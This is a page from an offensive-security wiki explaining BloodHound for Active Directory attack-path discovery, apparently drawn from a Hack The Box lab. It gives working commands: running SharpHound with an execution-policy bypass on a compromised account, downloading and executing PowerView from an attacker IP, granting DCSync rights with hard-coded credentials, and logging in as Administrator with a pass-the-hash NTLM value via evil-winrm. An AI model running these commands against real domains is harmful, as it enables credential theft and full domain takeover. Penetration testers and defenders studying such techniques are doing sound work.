Red Squad
BuyMeACoffee
  • 🏠/home/red-squad
    • ⏰Recently Added
    • πŸ₯³Support our projects
    • ⚰️Is There Life After Death ?
  • 🌐Web Hacking
    • 🚩CTFs shortcuts
    • πŸ—ΊοΈAudits plan
      • Exposition Audit - Plan
      • Internal Audit - Plan
      • External Audit - Plan
    • πŸ•΅οΈOSINT
      • πŸ”Search Engines
      • πŸ§‘User OSINT
      • πŸ‡«πŸ‡²Domains, IP, IOT
      • πŸ•ΈοΈWebsite OSINT
      • πŸ—£οΈBreaches/Leaks
      • πŸ’ΌBusiness OSINT
      • πŸ§…TOR network
      • πŸ”¬Source Code
      • πŸ₯ΈDorks
      • βš”οΈVulnerabilities and IOC
      • πŸ“¦MISC
    • Enumeration
      • Network Scanners
      • Directory/Files Scanners
      • Web Scanners
        • Subdomains
    • πŸ”—HTTP Stuff
      • HTTP Methods
        • 403 Bypass
      • Security Headers
      • HTTP Parameters
    • πŸ”Sessions / Tokens
      • Cookies
      • JWT
        • Attacking JWT
    • πŸ’‰Injections
      • HTML | XSS
      • SQLi
        • SQLmap
        • NoSQLi
      • XXE
      • LaTex
    • πŸͺ±Web Vulnerabilities
      • CSRF
      • ClickJacking
      • Files / Upload
        • πŸ—ƒοΈFile Upload Bypass
        • πŸ“¦ZIP Slip
      • IDOR
      • LFI
        • Files to look for
      • Remote Code Execution
    • β›”WAF Bypass
    • ✍️Servers / CMS
      • 🐈Tomcat
      • πŸ’§Drupal
      • ✏️Oracle APEX
      • 🐦Apache
      • πŸ”·WordPress
        • Wordpress eBook Download < 1.2 - CVE-2016-10924
      • ⏩SAP
      • πŸ•΄οΈJenkins
      • πŸ–‡οΈJoomla!
      • 🏒Server-Side Vulnerabilities
        • Server-Side Request Forgery
        • Server-Side Template Injection
    • πŸ–‡οΈAPI
      • GraphQL
  • 🐧Linux Hacking
    • πŸ§—Privilege Escalation
      • Find passwords
      • Ansible
      • Manual Checks
      • Automated Checks
    • πŸ‘£Cover tracks
    • πŸšͺBackdoors
    • β­•Reverse Shells
      • Shell Stabilizing
      • PwnCat
      • Ping-Pong
    • πŸ”’Compiled Binaries
    • 🌊Buffer Overflow
      • Introduction
      • Fundamentals
      • Exploits
    • 🐳Docker Escape
    • 🀝File sharing
  • πŸͺŸWindows Hacking
    • πŸ‘₯Active Directory
      • 1. Reconnaissance
        • Domain Network Enumeration
          • SMB Enumeration
          • LDAP Enumeration
      • 2. Initial Attack Vectors
        • Kerberos
          • Lookupsid
          • findDelegation
          • ASREPRoast
          • Kerbrute
        • AD CS
          • Basics
          • Exploits
        • Network
          • SMBRelay
          • LLMNR_NBT NS Poisoning
            • Relay Poisoning Ressources
          • IPv6 Attacks
        • Impacket
          • Windows Secrets
        • Autologon
        • PowerView.ps1
      • 3. Post-Compromise Enumeration
        • ACLs Abuse
        • Computer enumeration
        • PowerView
        • BloodHound
        • MimiKatz
        • PingCastle
      • 4. Post-Compromise Attacks
        • WSUS Poison
        • AlwaysInstallElevated
        • DCSync
        • Dumping LSASS
        • Dumping NTDS.dit
        • Golden Tickets
        • GPP Attacks
        • Kerberoasting - SPN
        • Pass the Hash
        • Pass the Password
        • Rubeus
      • 5. PrivEsc & MISC
        • Automated scripts
        • Exploits
          • noPac - CVE-2021-42278
          • ZeroLogon - CVE-2020-1472
          • LocalPotato - CVE-2023-21746
          • PrintNightMare - CVE-2021-34527
          • Other CVEs
    • πŸ’‘Useful AD Commands
    • πŸ§—Privilege Escalation
    • 🐚Shells
    • πŸ”“Bypasses
      • UAC
      • Antivirus
      • AppLocker
      • BitLocker
    • πŸ“ƒOffice
      • Analyze office files
      • Forgot password of file ?
      • CVE-2023-21716 (Microsoft Word RCE)
    • πŸ‘©β€πŸ’»SCCM | MECM
      • Configuration Audit
      • Dump
      • Hack It
        • Reconnaisance
        • PXE/OSD Exploitation
        • NTLM Relay from SCCM Clients
        • Privilege Escalation
        • Lateral Movement
        • Malware Deployment
      • Basics
    • πŸ’ŽMicrosoft 365
      • Configuration
      • Hacking
  • πŸ’½Systems
    • πŸ•β€πŸ¦ΊServices Enumeration
    • πŸ–¨οΈPrinters
      • Printer Exploitation Tool (PRET)
      • CUPS
    • πŸ›‘οΈFortinet
    • πŸ“ΉCCTV / IP Cameras
      • Hacking
  • πŸŽ†Networks
    • πŸŒͺ️Pivoting
      • Tools / Guide
        • Proxychains / FoxyProxy
        • SSH Tunnelling / Port Forwarding
        • Plinx.exe
        • Socat
        • Chisel
        • Sshuttle
        • Ligolo-Ng : Pivoting use cases
      • SocksOverRDP
    • πŸ”₯Firewalls
      • πŸ”₯Evasion
    • πŸ”—Proxies
  • πŸ“±Mobile Hacking
    • πŸ€–Android
      • Introduction
      • Reversing
      • Static Analysis
      • Dynamic Analysis
      • Disable SSL Pinning
      • Bypass Root Detection
      • Network / Traffic Analysis
    • 🍏iOS
      • Introduction
      • Static Analysis
      • Dynamic Analysis
      • JailBreak
    • πŸ“ΊIOT
      • IOTGoat OWASP | Walkthrough
      • Resources
  • Configuration
    • ChromeOS
    • Mobile
      • Android
    • IBM
      • AS400
      • AIX
  • πŸ“‘Wireless Hacking
    • πŸŽ†Wi-Fi Attacks
      • EvilTwin
      • Cracking WPA/WPA2
      • Sniffing
    • 🫐Bluetooth
      • BLE Locks Hacking
  • πŸ‘¨β€πŸ’»Code Audit
    • βœ”οΈBest Practices
    • ❌Bad Practices
    • βš’οΈTools
  • πŸ‘Thick Client Hacking
    • πŸ“Thick Client Pentesting Methodology
    • πŸ—„οΈResources
  • πŸ—„οΈMISC
    • πŸ”‘Default Credentials
    • πŸ”»CVEs
      • [CVE-2022-0847] - dirtypipe
      • [CVE-2021-4034] - Pwnkit
      • [CVE-2021-45105] - Log4J
      • [CVE-2018-15473] - OPENSSH < 7.7
    • 🦊Browser Extensions
    • πŸ€–AI
      • chatGPT alternatives
      • Large Language Model Hacking
    • πŸ”­Hacking Labs
    • πŸ”«Exploitation Frameworks
  • πŸ•΅οΈOPSEC
    • πŸ—οΈPrivacy
      • Best tools
      • Online Anonymity
      • Browser Configuration
  • πŸ”‘CRACKING | ENCODING
    • πŸ₯ŠBruteforce tools
    • πŸ“Wordlists
    • 🧨Cracking Tools
    • πŸ”¬Encoding | Decoding Tools
    • πŸ”Steganography | Cipher
  • πŸ”΄RED TEAM
    • πŸ“₯Password Extract
      • Firefox
    • πŸ•΅οΈSpy cam
    • πŸ”’Lock Picking
    • 🎣Phishing
      • Infrastructure
      • Resources
  • πŸŒ€Whistle Blowing
    • πŸ“ΉCCTV
  • πŸ”΅BLUE TEAM
    • 🧩Forensics
    • 🦹Malware Analysis
    • πŸ› οΈTools
    • 🍯HoneyPots
    • πŸŽ†Networks Security
    • πŸͺ™Online IoC Scanners
  • 🐞Bug Bounty Related
    • Searching for CVEs
    • [FR] Legal
    • Dorks
  • πŸ–₯️DEVELOPERS
    • πŸ‘¨β€πŸ’»IDE
  • πŸ“šLEARNING
    • Windows
      • Active Directory
      • Kerberos
      • Pass-the-*
    • SQL
      • SQSHell | sqsh | skwish
      • NoSQL
      • DB infos
    • SSL/TLS
      • Configuration on MariaDB
Powered by GitBook
On this page
  • Brief
  • Usage
  • WriteDACL
  • RustHound

Was this helpful?

Edit on GitHub
Export as PDF
  1. Windows Hacking
  2. Active Directory
  3. 3. Post-Compromise Enumeration

BloodHound

PreviousPowerViewNextMimiKatz

Last updated 1 year ago

Was this helpful?

Brief

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attacks can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify.

Usage

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux

neo4j console
# creds = neo4j : neo4j
# forgotten password
locate neo4j | grep auth

bloodhound

Now bloodhound needs data, and it does so by using an ingestor called SharpHound, you should download, move and execute that script on your domain user that you compromised by typing :

powershell -ep bypass
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain $TARGETDOMAIN -ZipFileName bloodhound.zip

Once you finish that, copy the zip file to your system, and feed it to bloodhound through drag and drop or import data functionality.


WriteDACL

iex(new-object net.webclient).downloadstring('http://10.10.14.4:9090/PowerView.ps1')

$pass = convertto-securestring 'abc123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('HTB\john', $pass)

Add-DomainObjectAcl -Credential $cred -TargetIdentity htb.local -Rights DCSync

Add-ObjectACL -PrincipalIdentity john -Credential $cred -Rights DCSync

evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6

RustHound

πŸͺŸ
πŸ‘₯
GitHub - OPENCYBER-FR/RustHound: Active Directory data collector for BloodHound written in rust. πŸ¦€GitHub
No AV detection and cross-compiled.
BloodHound: Six Degrees of Domain Admin β€” BloodHound 3.0.3 documentation
Logo
Logo